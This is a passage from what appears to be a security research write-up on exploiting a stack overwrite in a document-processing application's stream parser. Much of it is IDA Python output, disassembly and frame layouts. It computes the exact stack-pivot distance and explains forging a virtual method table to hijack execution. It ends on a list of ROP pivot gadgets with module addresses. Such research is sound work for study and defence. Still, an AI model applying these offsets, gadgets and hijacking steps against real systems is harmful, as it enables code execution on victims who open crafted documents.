processing our document, we can examine the frame and determine what might be available for us to modify with our present capabilities. The frame that we&#x2019;ve overwritten in the prior section shows that we&apos;ll be able to control only a few variables. Unfortunately, at this point, the stream that we used to exercise the vulnerability has been closed, and if we tamper with this frame directly and the method ends up completing execution, the epilog of the function will fail due to its canary check resulting in fast-termination and process exit.</p><pre><code class="language-python"># List the frame belonging to the caller of the function containing the vulnerability.
&lt;class &apos;structure&apos; name=&apos;$ F3C1FAF0F&apos; offset=-0x264 size=0x278&gt;
[0]  -264+0x4                       int &apos;var_25C&apos;            (&lt;class &apos;int&apos;&gt;, 4)
[1]  -260+0x4                       int &apos;var_258&apos;            (&lt;class &apos;int&apos;&gt;, 4)
[2]  -25c+0x4                       int &apos;var_254&apos;            (&lt;class &apos;int&apos;&gt;, 4)
[3]  -258+0x4                       int &apos;var_250&apos;            (&lt;class &apos;int&apos;&gt;, 4)
[4]  -254+0x18  frame_77af0f::field_24c &apos;lv_struc_24c&apos;       &lt;class &apos;structure&apos; name=&apos;frame_77af0f::field_24c&apos; offset=-0x254 size=0x18&gt;
[5]  -23c+0x4                       int &apos;lp_stackObject_234&apos; (&lt;class &apos;int&apos;&gt;, 4)
[6]  -238+0x4       JSVDA::object_OFRM* &apos;lp_oframe_230&apos;      (&lt;class &apos;type&apos;&gt;, 4)
[7]  -234+0x228           object_2f27f8 &apos;lv_object_22c&apos;      &lt;class &apos;structure&apos; name=&apos;object_2f27f8&apos; offset=-0x234 size=0x228&gt;
[8]    -c+0x4                       int &apos;lv_result_4&apos;        (&lt;class &apos;int&apos;&gt;, 4)
[9]    -8+0x4                   char[4] &apos; s&apos;                 [(&lt;class &apos;int&apos;&gt;, 1), 4]
[10]   -4+0x4                   char[4] &apos; r&apos;                 [(&lt;class &apos;int&apos;&gt;, 1), 4]
[11]    0+0x4       JSVDA::object_OFRM* &apos;ap_oframe_0&apos;        (&lt;class &apos;type&apos;&gt;, 4)
[12]    4+0x4              unsigned int &apos;av_documentType_4&apos;  (&lt;class &apos;int&apos;&gt;, 4)
[13]    8+0x4              unsigned int &apos;av_flags_8&apos;         (&lt;class &apos;int&apos;&gt;, 4)
[14]    c+0x4             struc_79aa9a* &apos;ap_stackobject_c&apos;   (&lt;class &apos;type&apos;&gt;, 4)
[15]   10+0x4                       int &apos;ap_null_10&apos;         (&lt;class &apos;int&apos;&gt;, 4)

# The object located at offset -0x238 of the frame.
&lt;class &apos;structure&apos; name=&apos;JSVDA::object_OFRM&apos; size=0x8&gt; // [alloc.tag] OFRM
[0] 0+0x4 int &apos;p_vftable_0&apos; (&lt;class &apos;int&apos;&gt;, 4) // [vftable] 0x278186F0
[1] 4+0x4 int &apos;v_index_4&apos;   (&lt;class &apos;int&apos;&gt;, 4) // {&apos;note&apos;: &apos;object_117c5 handle&apos;, &apos;alloc.tag&apos;: &apos;MFCM&apos;, &apos;__name__&apos;: &apos;v_index_4&apos;}
</code></pre><p>This listing shows the contents of the object that we&#x2019;ll be using. As previously mentioned, it contains a single field and is used to read from the document. This field is an integer representing an index into an array of objects within an entirely different module. Each object from this external array is an opened document which varies depending on the usage of the application. Hence, this field can be treated as a handle that might not be forgeable without knowledge of the contents of the module or the actions the user has already made.</p><p>However, we do have control of this object&#x2019;s virtual method table reference, and since we haven&apos;t completely broken the application yet, we can capture the handle from elsewhere and use it to re-forge this object at a later stage once we&apos;ve earned control of the stack. After this, we can then repair the frame during our loader to remain in good standing with the application.</p><pre><code class="language-javascript">.text:3C1FB1B6     loc_3C1FB1B6:
.text:3C1FB1B6 260                 push    [ebp+av_flags_8]
.text:3C1FB1B9 264                 mov     eax, [ebp+av_flags_8]
.text:3C1FB1BC 264                 push    ecx
.text:3C1FB1BD 268                 and     eax, 800h
.text:3C1FB1C2 268                 mov     ecx, esi
.text:3C1FB1C4 268                 push    ebx
.text:3C1FB1C5 26C                 mov     [ebp+lv_struc_24c.field_14], eax
.text:3C1FB1CB 26C                 call    object_9c2044::parseStream(DocumentViewStyles)_3a790a ; [note.exp] define some styles, ensure everything is initialized.
.text:3C1FB1D0 260                 mov     ebx, eax
.text:3C1FB1D2 260                 cmp     ebx, edi
.text:3C1FB1D4 260                 jnz     loc_3C1FAFD2

.text:3C1FB1DA 260                 push    [ebp+av_flags_8]
.text:3C1FB1DD 264                 mov     ecx, esi
.text:3C1FB1DF 264                 push    [ebp+av_documentType_4]
.text:3C1FB1E2 268                 push    [ebp+lp_oframe_230]
.text:3C1FB1E8 26C                 call    object_9c2044::parseStream(DocumentEditStyles)_3a6cb2 ; [note.exp] hijack frame pointer here
.text:3C1FB1ED 260                 mov     ebx, eax
.text:3C1FB1EF 260                 cmp     ebx, edi
.text:3C1FB1F1 260                 jnz     loc_3C1FAFD2

.text:3C1FB1F7 260                 push    [ebp+lp_stackObject_234]
.text:3C1FB1FD 264                 mov     ecx, [esi+2D8h] ; this
.text:3C1FB203 264                 push    [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268                 push    [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C                 push    [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270                 call    object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
.text:3C1FB214 264                 mov     ebx, eax
.text:3C1FB216 264                 cmp     ebx, edi
.text:3C1FB218 264                 jnz     loc_3C1FAFD2
</code></pre><p>The first place we&apos;ll be able to hijack execution is when the object owning the virtual method table that we&#x2019;re taking control of is used to open up the next stream. The code that is listed shows the scope during which we control the frame pointer. In our exploit, this is where we hijack execution and completely pivot to a stack that we control to complete the necessary tasks for loading executable code into the address space.&#xA0;</p><pre><code class="language-javascript">.text:3C1FB1F7 260                 push    [ebp+lp_stackObject_234]
.text:3C1FB1FD 264                 mov     ecx, [esi+2D8h] ; this
.text:3C1FB203 264                 push    [ebp+av_flags_8] ; av_flags_8
.text:3C1FB206 268                 push    [ebp+av_documentType_4] ; av_documentType_4
.text:3C1FB209 26C                 push    [ebp+lp_oframe_230] ; ap_oframe_0
.text:3C1FB20F 270                 call    object_10cbd2::processSomeStreams_778971 ; [note.exp] hijack execution here
\
.text:3C1F8971 000                 push    0A4h
.text:3C1F8976 004                 mov     eax, offset byte_3C3CCE1A
.text:3C1F897B 004                 call    __EH_prolog3_catch_GS
.text:3C1F8980 0C4                 mov     edi, ecx
.text:3C1F8982 0C4                 mov     [ebp+lp_this_64], edi
...
.text:3C1F89B1 0C4                 lea     eax, [ebp+lp_stream_50]
.text:3C1F89B4 0C4                 push    eax
.text:3C1F89B5 0C8                 push    ebx
.text:3C1F89B6 0CC                 call    object_FRM::getStream(GroupingFileName)_1b974d
\
.text:3BC3974D 000                 push    ebp
.text:3BC3974E 004                 mov     ebp, esp
.text:3BC39750 004                 push    [ebp+ap_result_4] ; JSVDA::object_OSEG **
.text:3BC39753 008                 push    10h             ; av_flags_8
.text:3BC39755 00C                 push    offset str.GroupingFileName ; [OpenStreamByName.reference] 0x3bc3975d
.text:3BC3975A 010                 push    [ebp+ap_oframe_0] ; ap_oframe_0
.text:3BC3975D 014                 call    object_OFRM::openStreamByName?_132de4
\
.text:3BBB2DE4 000                 push    ebp
.text:3BBB2DE5 004                 mov     ebp, esp
.text:3BBB2DE7 004                 push    ecx
.text:3BBB2DE8 008                 mov     eax, ___security_cookie
.text:3BBB2DED 008                 xor     eax, ebp
.text:3BBB2DEF 008                 mov     [ebp+var_4], eax
...
.text:3BBB2E1D     loc_3BBB2E1D:
.text:3BBB2E1D 00C                 push    [ebp+ap_result_c]
.text:3BBB2E20 010                 mov     ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010                 push    0
.text:3BBB2E25 014                 push    [ebp+av_flags_8]
.text:3BBB2E28 018                 mov     edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] this is ours
.text:3BBB2E2A 018                 push    0
.text:3BBB2E2C 01C                 push    eax
.text:3BBB2E2D 020                 push    ecx
.text:3BBB2E2E 024                 call    dword ptr [edx+10h] ; [note.exp] branch here
\
; int __stdcall object_OFRM::method_openStream_2b5c5(JSVDA::object_OFRM *ap_this_0, wchar_t *ap_streamName_4, int a_unused_8, char avb_flags_c, int a_unused_10, JSVDA::object_OSEG **ap_result_14)
.text:277CB5C5     object_OFRM::method_openStream_2b5c5 proc near
.text:277CB5C5
.text:277CB5C5 000                 push    ebp
.text:277CB5C6 004                 mov     ebp, esp
.text:277CB5C8 004                 push    ecx
.text:277CB5C9 008                 push    ecx
.text:277CB5CA 00C                 push    ebx
.text:277CB5CB 010                 mov     ebx, [ebp+ap_result_14]
...
</code></pre><p>In the listing, we descend through the different methods that get called during execution until we reach a virtual method named <code>JSVDA::object_OFRM::method_openStream_2b5c5</code>. This method is dereferenced and then called to open up the next stream from the document. This is the virtual method that we will be using to hijack execution.</p><p>The <code>JSVDA::<em>object_OFRM::method_openStream_2b5c5</em></code> virtual method belongs to the <code>JSVDA.DLL</code> module and takes six parameters before being called. This will need to be taken into account during our repurposing. As the stack will be adjusted by the implementation pushing said parameters and the preserved return address onto the stack, we will be required to include this adjustment in our new frame.</p><p>At this point, we have everything we need to execute code. However, we&#x2019;ll need some way to resume execution after our instructions have been executed. To accomplish this, we&#x2019;ll need to pivot the stack to one that we control. Generally, there are two ways in which we can pivot the stack. One way is to find a predictable address that we can write the addresses into, and then use a pivot that lets us perform an explicit assignment of that address to the <code>%esp</code> register. Another way is to adjust the <code>%esp</code> register to reference a part of the stack where we control its contents. To avoid having to write another contiguous chunk of data to a some known location using the vulnerability, the latter methodology was chosen as the primary candidate.</p><h3 id="pivoting-stack-pointer">Pivoting Stack Pointer</h3><p>Although we control a frame pointer and can use it to assign an arbitrary value to the instruction pointer, we do not have a clear way to execute multiple sequences of instructions to load executable code from our document. Hence, we need some way to set the stack pointer to a block of memory that we can use to resume execution after executing each chunk required to load our payload.</p><p>As mentioned previously, the vulnerability occurs within the very first stream that is parsed by the target. Hence, due to our document not being able to influence much in the application, it is necessary to find logic within the stream parser to satisfy our needs. As we&#x2019;re attempting to execute code residing at multiple locations within a module, we&#x2019;ll need some logic within the stream parsing implementation that can be used to load a large amount of our data into the application&#x2019;s stack. To discover this, we can use a quick script at the entry point of the style record parser to enumerate all of the functions being called and identify the ones that have the large size allocated for its frame.</p><p>In the following query, it appears that <code>object_9c2044::readStyleType(1000)_4d951d</code> is a likely candidate. Through manual reversing of the method, we can prove that its implementation allocates <code>0x18C8</code> bytes on the stack and reads <code>0x1000</code> bytes from its associated record directly into this allocated buffer.</p><pre><code class="language-python"># Grab the address of the function containing the different cases for record parsing
Python&gt; f = db.a(&apos;struc_3a9de4::parseStylesContent_3a7048&apos;)

# List all functions that are called that also have a frame.
Python&gt; db.functions.list(frame=True, ea=[ins.op_ref(oref) for oref in func.calls(f) if &apos;x&apos; in oref])
[0]  +0x0b8d12 : 0x3bb38d12..0x3bb38d71 : (1) FvD+ : __thiscall object_9c2d50::get_field(180)_b8d12                  : lvars:001c args:2 refs:7   exits:1
[1]  +0x109b2a : 0x3bb89b2a..0x3bb89b9e : (1) FvD+ : __thiscall object_10cbd2::get_field(3c)_109b2a                  : lvars:001c args:2 refs:100 exits:1
[2]  +0x1329ce : 0x3bbb29ce..0x3bbb29e8 : (1) Fvt+ :    __cdecl object_OSEG::setCurrentStreamPosition_1329ce         : lvars:0000 args:5 refs:182 exits:1
[3]  +0x1b6bf7 : 0x3bc36bf7..0x3bc36d66 : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1000)_1b6bf7            : lvars:0044 args:4 refs:1   exits:1
[4]  +0x1b8cd2 : 0x3bc38cd2..0x3bc38d0b : (1) FvD* : __thiscall object_9e5ffc::readStyleType(1001)_1b8cd2            : lvars:0004 args:4 refs:1   exits:1
[5]  +0x1b8f99 : 0x3bc38f99..0x3bc39723 : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1b8f99            : lvars:00a0 args:7 refs:2   exits:1
[6]  +0x1cdcf6 : 0x3bc4dcf6..0x3bc4df7b : (1) FvD* : __thiscall object_9bd184::readStyleType(2002)_1cdcf6            : lvars:0040 args:5 refs:1   exits:1
[7]  +0x1d24a9 : 0x3bc524a9..0x3bc52bef : (1) FvD* : __thiscall object_9bd0e4::readStyleType(2001)_1d24a9            : lvars:00b4 args:6 refs:1   exits:1
[8]  +0x1d63a3 : 0x3bc563a3..0x3bc56601 : (1) FvT* : __thiscall object_9bd120::readStyleType(2003)_1d63a3            : lvars:0094 args:5 refs:1   exits:1
[9]  +0x391906 : 0x3be11906..0x3be11d9c : (1) FvT* : __thiscall object_9d0d30::readStyleType(2008)_391906            : lvars:00c4 args:7 refs:1   exits:2
[10] +0x392cab : 0x3be12cab..0x3be12ee2 : (1) FvT* : __thiscall object_9d0d30::readStyleType(2010)_392cab            : lvars:0064 args:7 refs:1   exits:1
[11] +0x393e4b : 0x3be13e4b..0x3be13f08 : (1) F-D+ :    __cdecl object_OSEG::pushCurrentStream?_393e4b               : lvars:000c args:5 refs:1   exits:1
[12] +0x3a6bec : 0x3be26bec..0x3be26cb2 : (1) FvD* : __thiscall struc_3a9de4::readStyleType(2005)_3a6bec             : lvars:0014 args:4 refs:1   exits:1
[13] +0x3a6cf0 : 0x3be26cf0..0x3be26d44 : (1) FvD+ :    __cdecl object_OSEG::decode_long_3a6cf0                      : lvars:001c args:2 refs:86  exits:1
[14] +0x3a6d44 : 0x3be26d44..0x3be26d8b : (1) FvT+ : __thiscall box_header::deserialize_3a6d44                       : lvars:000c args:2 refs:7   exits:1
[15] +0x3a6d8b : 0x3be26d8b..0x3be26fae : (1) F-T+ : __thiscall struc_3a9de4::ensureFieldObjectsConstructed??_3a6d8b : lvars:0008 args:2 refs:11  exits:1
[16] +0x3a6fae : 0x3be26fae..0x3be27048 : (1) FvT+ : __thiscall struc_3a9de4::readBoxHeader?_3a6fae                  : lvars:0024 args:2 refs:2   exits:1
[17] +0x3a7664 : 0x3be27664..0x3be276be : (1) FvT+ :    __cdecl object_OSEG::read_ushort_3a7664                      : lvars:001c args:2 refs:90  exits:1
[18] +0x3a96ed : 0x3be296ed..0x3be2972f : (1) F-D+ : __thiscall struc_3a9de4::get_flagField_3a96ed                   : lvars:0008 args:2 refs:2   exits:1
[19] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* :    __cdecl object_9c2044::readStyleType(1000)_4d951d            : lvars:18d4 args:4 refs:1   exits:1
[20] +0x6bf3a6 : 0x3c13f3a6..0x3c13f3e7 : (1) FvD+ : __thiscall object_9c2d50::create_field(64)_6bf3a6               : lvars:0020 args:1 refs:7   exits:1
[21] +0x779662 : 0x3c1f9662..0x3c1f96c0 : (1) F-t+ : __thiscall sub_3C1F9662                                         : lvars:0004 args:2 refs:3   exits:1
[22] +0x779828 : 0x3c1f9828..0x3c1f98ad : (1) FvD* : __thiscall object_9e82a0::deserialize_field_779828              : lvars:0028 args:2 refs:1   exits:1
[23] +0x77a7bf : 0x3c1fa7bf..0x3c1fa892 : (1) FvD* : __thiscall object_e7480::readStyleType(1002)_77a7bf             : lvars:0028 args:6 refs:1   exits:1
[24] +0x7b15a6 : 0x3c2315a6..0x3c23161a : (1) FvD+ : __thiscall object_10cbd2::get_field(38)_7b15a6                  : lvars:001c args:2 refs:36  exits:1
[25] +0x7b9e07 : 0x3c239e07..0x3c239e7c : (1) FvD+ : __thiscall object_10cbd2::get_field(34)_7b9e07                  : lvars:001c args:2 refs:98  exits:1
[26] +0x861925 : 0x3c2e1925..0x3c2e1993 : (1) FvD+ : __thiscall object_9e82a0::method_createfield_861925             : lvars:0040 args:1 refs:2   exits:1

# It looks like item #19, object_9c2044::readStyleType(1000)_4d951d, has more space allocated for its &quot;lvars&quot; than any of the others.</code></pre><p>At this point, we can adjust the proof-of-concept for the vulnerability to include the <code>0x1000</code> record type. Then we can set a breakpoint on the method to prove that it is being executed during runtime. After setting the breakpoint, however, the method does not get executed. Instead, another function, <code><em>object_9e5ffc::readStyleType(1000)_1b6bf7</em></code>, is called to read record type <code>0x1000</code>. After reversing the contents of this method, we are fortunate in that it uses a different methodology to allocate <code>0x1020</code> bytes on the stack. This likely would have been found if we had expanded our query as in the following listing.</p><pre><code class="language-Python"># Define a few temporary functions.
def guess_prolog(f, minimum):
    &apos;&apos;&apos;Use the stackpoints to guess the prolog by searching for a minimum. Right way would be to check &quot;$ ignore micro&quot;...&apos;&apos;&apos;
    fn, start = func.by(f), func.address(f)
    iterable = (ea for ea, delta in func.chunks.stackpoints(f) if abs(idaapi.get_sp_delta(fn, ea)) &gt; minimum)
    return start, next(iterable, start)

# No register calls
filter_out_register = lambda opref: not isinstance(ins.op(opref), register_t)

# Use itertools.chain to flatten results through db.functions
flatten_calls = lambda fs: set(itertools.chain(fs, db.functions(ea=filter(func.has, map(ins.op_ref, itertools.chain(*map(func.calls, fs)))))))

# Start at style record parser, flatten the first layer of calls.
Python&gt; f = db.a(&apos;struc_3a9de4::parseStylesContent_3a7048&apos;)
Python&gt; db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))))
[0]   +0x00140c : 0x3ba8140c..0x3ba81412 : (1) J-D* : __thiscall JSFC_2094                                            : lvars:0000 args:8 refs:2256  exits:0
[1]   +0x089368 : 0x3bb09368..0x3bb0936e : (1) J-D* :  __stdcall JSFC_5190                                            : lvars:0000 args:2 refs:25    exits:0
[2]   +0x090e42 : 0x3bb10e42..0x3bb10e48 : (1) J-D* : __thiscall JSFC_5438                                            : lvars:0000 args:3 refs:32    exits:0
[3]   +0x0915ea : 0x3bb115ea..0x3bb115f0 : (1) J-D* : __thiscall JSFC_3583                                            : lvars:0000 args:2 refs:620   exits:0
...
[120] +0x8ea58a : 0x3c36a58a..0x3c36a5c1 : (1) LvD+ : __usercall __EH_prolog3_catch                                   : lvars:0000 args:1 refs:1613  exits:1
[121] +0x8ea600 : 0x3c36a600..0x3c36a62d : (1) LvD+ : __usercall __alloca_probe                                       : lvars:0000 args:2 refs:1082  exits:1
[122] +0x8ea914 : 0x3c36a914..0x3c36a920 : (1) LvD+ :  __unknown ___report_rangecheckfailure                          : lvars:0000 args:0 refs:104   exits:2

# Filter those 123 functions looking for one with a large frame size.
Python&gt; db.functions.list(ea=flatten_calls(func.calls(f)), frame=True, predicate=lambda f: func.frame(f).size &gt; 0x1000)
[0] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* : __cdecl object_9c2044::readStyleType(1000)_4d951d : lvars:18d4 args:4 refs:1 exits:1

# Search another layer deeper.
Python&gt; db.functions.list(ea=flatten_calls(flatten_calls(func.calls(f))), frame=True, predicate=lambda f: func.frame(f).size &gt; 0x1000)
[0] +0x1b6d66 : 0x3bc36d66..0x3bc36e26 : (1) F?D+ :    __cdecl object_OSEG::method_readHugeBuffer(1000)_1b6d66 : lvars:1020 args:7 refs:2 exits:1
[1] +0x4d951d : 0x3bf5951d..0x3bf5958a : (1) FvD* :    __cdecl object_9c2044::readStyleType(1000)_4d951d       : lvars:18d4 args:4 refs:1 exits:1
[2] +0x77ad4b : 0x3c1fad4b..0x3c1fae93 : (1) FvD+ : __thiscall sub_3C1FAD4B                                    : lvars:1074 args:1 refs:1 exits:1

# 3 results. Record type 0x1000 looks like it&apos;s worth considering (and hence was named as such).</code></pre><p>We can confirm this method satisfies our requirements during runtime by setting a breakpoint on this method and verifying that the <code>object_9e5ffc::readStyleType(1000)_1b6bf7</code> method loads <code>0x1000</code> bytes of data from the stream onto the stack.</p><p>Now that we&#x2019;ve found a candidate with the ability to read a large amount of data from the stream into its frame, we&#x2019;ll need to know how much to adjust the stack pointer to reach it. To determine this value, we&apos;ll need to calculate the distance between the offset of the <code>0x1000</code>-sized buffer, and the value of the stack pointer at the time that we intend to control execution. The backtrace of both these points intersect in the method at <code>0x3C1FAF0F</code>, <code>object_9c2044::method_processStreams_77af0f</code>. Thus, we will only need the distance from the frame belonging to that function.</p><pre><code class="language-Python"># Backtraces for the function where we hijack execution and where we can allocate a huge stack buffer.
Python&gt; hijack_backtrace =                       [0x3bbb2de4, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]
Python&gt; huge_backtrace = [0x3bc36d66, 0x3bc36bf7, 0x3be27048, 0x3be276be, 0x3be26cb2, 0x3c1faf0f, 0x3c1fb3ed, 0x3c1fb4ab, 0x3be27954]

Python&gt; diffindex = next(index for index, (L1,L2) in enumerate(zip(hijack_backtrace[::-1], huge_backtrace[::-1])) if L1 != L2)
Python&gt; assert(hijack_backtrace[-diffindex] == huge_backtrace[-diffindex])

# Use the index as the common function call, and grab all the frames that are distinct.
Python&gt; commonframe = func.frame(hijack_backtrace[-diffindex])
Python&gt; hijack, huge = (listmap(func.frame, items) for items in [hijack_backtrace[:-diffindex], huge_backtrace[:-diffindex]])

# Display the functions belonging to the callstacks where we want to hijack execution,
# and the function to use for allocating a large amount of data from the document.
Python&gt; pp(listmap(fcompose(func.by, func.name), hijack + [commonframe])[::-1])
[&apos;object_9c2044::method_processStreams_77af0f&apos;,
 &apos;object_9c2044::parseStream(DocumentEditStyles)_3a6cb2&apos;,
 &apos;object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be&apos;,
 &apos;object_OFRM::openStreamByName?_132de4&apos;]

Python&gt; pp(listmap(fcompose(func.by, func.name), huge + [commonframe])[::-1])
[&apos;object_9c2044::method_processStreams_77af0f&apos;,
 &apos;object_9c2044::parseStream(DocumentEditStyles)_3a6cb2&apos;,
 &apos;object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be&apos;,
 &apos;struc_3a9de4::parseStylesContent_3a7048&apos;,
 &apos;object_9e5ffc::readStyleType(1000)_1b6bf7&apos;,
 &apos;object_OSEG::method_readHugeBuffer(1000)_1b6d66&apos;]

# Display the frame belonging to the function triggering the vulnerability. We will be hijacking the return
# pointer inside this frame at -0xA8 from the frame for `object_9c2044::method_processStreams_77af0f`.
Python&gt; struc.right(commonframe, [frame.members for frame in hijack])[0]
&lt;class &apos;structure&apos; name=&apos;$ F3BBB2DE4&apos; offset=-0xb4 size=0x20&gt;
[0] -b4+0x2               __int16 &apos;anonymous_0&apos;     (&lt;class &apos;int&apos;&gt;, 2)
    -b2+0x2                                         [None, 2]
[1] -b0+0x4                   int &apos;var_4&apos;           (&lt;class &apos;int&apos;&gt;, 4)
[2] -ac+0x4               char[4] &apos; s&apos;              [(&lt;class &apos;int&apos;&gt;, 1), 4]
[3] -a8+0x4               char[4] &apos; r&apos;              [(&lt;class &apos;int&apos;&gt;, 1), 4]
[4] -a4+0x4   JSVDA::object_OFRM* &apos;ap_oframe_0&apos;     (&lt;class &apos;type&apos;&gt;, 4)
[5] -a0+0x4                 char* &apos;ap_streamName_4&apos; (&lt;class &apos;type&apos;&gt;, 4)
[6] -9c+0x4                   int &apos;av_flags_8&apos;      (&lt;class &apos;int&apos;&gt;, 4)
[7] -98+0x4  JSVDA::object_OSEG** &apos;ap_result_c&apos;     (&lt;class &apos;type&apos;&gt;, 4)

# Display the frame belonging to the function that we can use for loading a large
# amount of data from the document. Our data is loaded at -0x114C from the common frame.
Python&gt; struc.right(commonframe, [frame.members for frame in huge])[0]
&lt;class &apos;structure&apos; name=&apos;$ F3BC36D66&apos; offset=-0x1168 size=0x1044&gt;
     -1168+0xc                                                 [None, 12]
[0]  -115c+0x4                     int &apos;var_1014&apos;              (&lt;class &apos;int&apos;&gt;, 4)
[1]  -1158+0x4                     int &apos;var_1010&apos;              (&lt;class &apos;int&apos;&gt;, 4)
[2]  -1154+0x4                     int &apos;var_100C&apos;              (&lt;class &apos;int&apos;&gt;, 4)
[3]  -1150+0x4              box_header &apos;lv_boxHeader_1008&apos;     &lt;class &apos;structure&apos; name=&apos;box_header&apos; offset=-0x1150 size=0x4&gt;
[4]  -114c+0x1000           char[4096] &apos;lv_buffer(1000)_1004&apos;  [(&lt;class &apos;int&apos;&gt;, 1), 4096]
[5]   -14c+0x4                     int &apos;lv_canary_4&apos;           (&lt;class &apos;int&apos;&gt;, 4)
[6]   -148+0x4                 char[4] &apos; s&apos;                    [(&lt;class &apos;int&apos;&gt;, 1), 4]
[7]   -144+0x4                 char[4] &apos; r&apos;                    [(&lt;class &apos;int&apos;&gt;, 1), 4]
[8]   -140+0x4     JSVDA::object_OSEG* &apos;ap_oseg_0&apos;             (&lt;class &apos;type&apos;&gt;, 4)
[9]   -13c+0x4                     int &apos;av_size_4&apos;             (&lt;class &apos;int&apos;&gt;, 4)
[10]  -138+0x4                    int* &apos;ap_resultSize_8&apos;       (&lt;class &apos;type&apos;&gt;, 4)
[11]  -134+0x4    object_9e5ffc::data* &apos;ap_unused_c&apos;           (&lt;class &apos;type&apos;&gt;, 4)
[12]  -130+0x4       JSFC::CPtrArray** &apos;ap_ptrArray_10&apos;        (&lt;class &apos;type&apos;&gt;, 4)
[13]  -12c+0x4       JSFC::CPtrArray** &apos;ap_ptrArray_14&apos;        (&lt;class &apos;type&apos;&gt;, 4)
[14]  -128+0x4                     int &apos;avw_usedFromHeader_18&apos; (&lt;class &apos;int&apos;&gt;, 4)

# List the members needed to calculate the number of bytes we need to pivot the
# stack pointer into a buffer that contains more data read from the file.
Python&gt; struc.right(commonframe, [frame.members for frame in hijack])[0].list(&apos; *&apos;)
[2] -ac:+0x4 char[4] &apos; s&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]
[3] -a8:+0x4 char[4] &apos; r&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4]

Python&gt; struc.right(commonframe, [frame.members for frame in huge])[0].list(index=range(8), predicate=lambda m: m.size &gt;= 0x100)
[4] -114c:+0x1000 char[4096] &apos;lv_buffer(1000)_1004&apos; [(&lt;class &apos;int&apos;&gt;, 1), 4096]

# Take the difference between the buffer with our stream data, and the stack
# pointer at the point where we can execute an address of our choosing.
Python&gt; stack_offset_at_time_of_call = -0xA8 - 6 * 4 - 4
Python&gt; -0x114c - stack_offset_at_time_of_call
-0x1088</code></pre><p>By laying out each of the frames contiguously, we can see that the distance from the stack pointer at the point of hijack to the frame belonging to <code>0x3BE276BE</code> is <code>+0xA8</code> bytes. However, we will need to adjust it by six parameters and include the saved return address as was described previously. This results in a total of <code>0xC4</code> bytes for the first distance. Next, we take the distance from the frame containing our huge buffer to the frame owned by <code>0x3BE276BE</code>. This results in a total distance of <code>+0x114C</code> bytes. The difference of both of these distances results in <code>+0x1088</code> bytes. This is the value that we will adjust our stack pointer with so that we can pivot execution directly into the huge buffer that contains our desired stack layout.</p><h1 id="hijacking-execution-and-using-pivot">Hijacking execution and using pivot</h1><p>Due to our prior work on promoting the vulnerability, we&#x2019;ve developed it into the capability of writing an arbitrary amount of data anywhere within the address space. We also did the work to determine how to control a frame pointer which enables us to take control of the <code>%ecx</code> register in the method that owns said frame. This register contains the <code>this</code> pointer which refers to an object and is used when the implementation needs to access a property from the object or a necessary virtual method. After controlling the frame pointer, we can now forge this object and substitute an address of our choosing to be dereferenced as the virtual method table.</p><pre><code class="language-javascript">.text:3BBB2E1D     loc_3BBB2E1D:                           ; CODE XREF: object_OFRM::openStreamByName?_132de4+17&#x2191;j
.text:3BBB2E1D 00C                 push    [ebp+ap_result_c]
.text:3BBB2E20 010                 mov     ecx, [ebp+ap_oframe_0]
.text:3BBB2E23 010                 push    0
.text:3BBB2E25 014                 push    [ebp+av_flags_8]
.text:3BBB2E28 018                 mov     edx, [ecx+JSVDA::object_OFRM.p_vftable_0] ; [note.exp] we control this with our frame pointer
.text:3BBB2E2A 018                 push    0
.text:3BBB2E2C 01C                 push    eax
.text:3BBB2E2D 020                 push    ecx
.text:3BBB2E2E 024                 call    dword ptr [edx+10h] ; [note.exp] our forged vftable contains our target at +0x10
.text:3BBB2E31 00C                 lea     esp, [ebp-8]
.text:3BBB2E34 00C                 pop     esi
.text:3BBB2E35 008                 mov     ecx, [ebp+var_4]
.text:3BBB2E38 008                 xor     ecx, ebp        ; StackCookie
.text:3BBB2E3A 008                 call    __security_check_cookie(x)
.text:3BBB2E3F 008                 leave
.text:3BBB2E40 000                 retn</code></pre><p>In the listing, we&#x2019;ll need to specify the address to execute at offset <code>+0x10</code> of our forged virtual method table. This will result in the listed instructions dereferencing the virtual method of our controlled object and allow us to hijack execution. In the previous section, we calculated the distance between the stack pointer and a place that we can use to load a page-worth of data from the stream into a buffer on the stack. The only major thing that is left to do is to locate a stack pivot that we can use with the size from the previous section to adjust the stack pointer into our page-worth of stream data. Once we&#x2019;ve pivoted, we can continuously execute the necessary instructions to load our payload into the <code>address-space</code>.</p><p>By enumerating the non-relocatable modules within the <code>address-space</code> of the application, we can identify many instances of the following instruction sequences. Each of these sequences allows us to adjust the stack pointer using the value loaded at <code>-0x18</code> relative to the <code>%ecx</code> register. As we completely control the <code>%ecx</code> register due to our frame overwrite, we can store the distance that we had previously calculated at <code>-0x18</code> from our <code>%ecx</code> register to pivot to our forged call stack. Our completed process can then be summarized by creating a fake virtual method table, assigning the address of one of the listed sequences to offset <code>+0x10</code> of it, and then storing our distance at <code>-0x18</code> of it. When the virtual method is then called, we will have begun the very first stage of actually hijacking the application&#x2019;s instruction pointer.</p><pre><code class="language-javascript">JSAPRUN.DLL     0x610202e0: add esp, dword ptr [ecx - 0x18]; ret; 
JSAPRUN.DLL     0x61048954: add esp, dword ptr [ecx - 0x18]; dec edi; ret; 
JSAPRUN.DLL     0x610a0265: add esp, dword ptr [ecx - 0x18]; dec edx; clc; call dword ptr [ecx + 0x56]; 
JSAPRUN.DLL     0x610a13c6: add esp, dword ptr [ecx - 0x18]; fnstsw word ptr [eax]; clc; call dword ptr [ecx + 0x56]; 
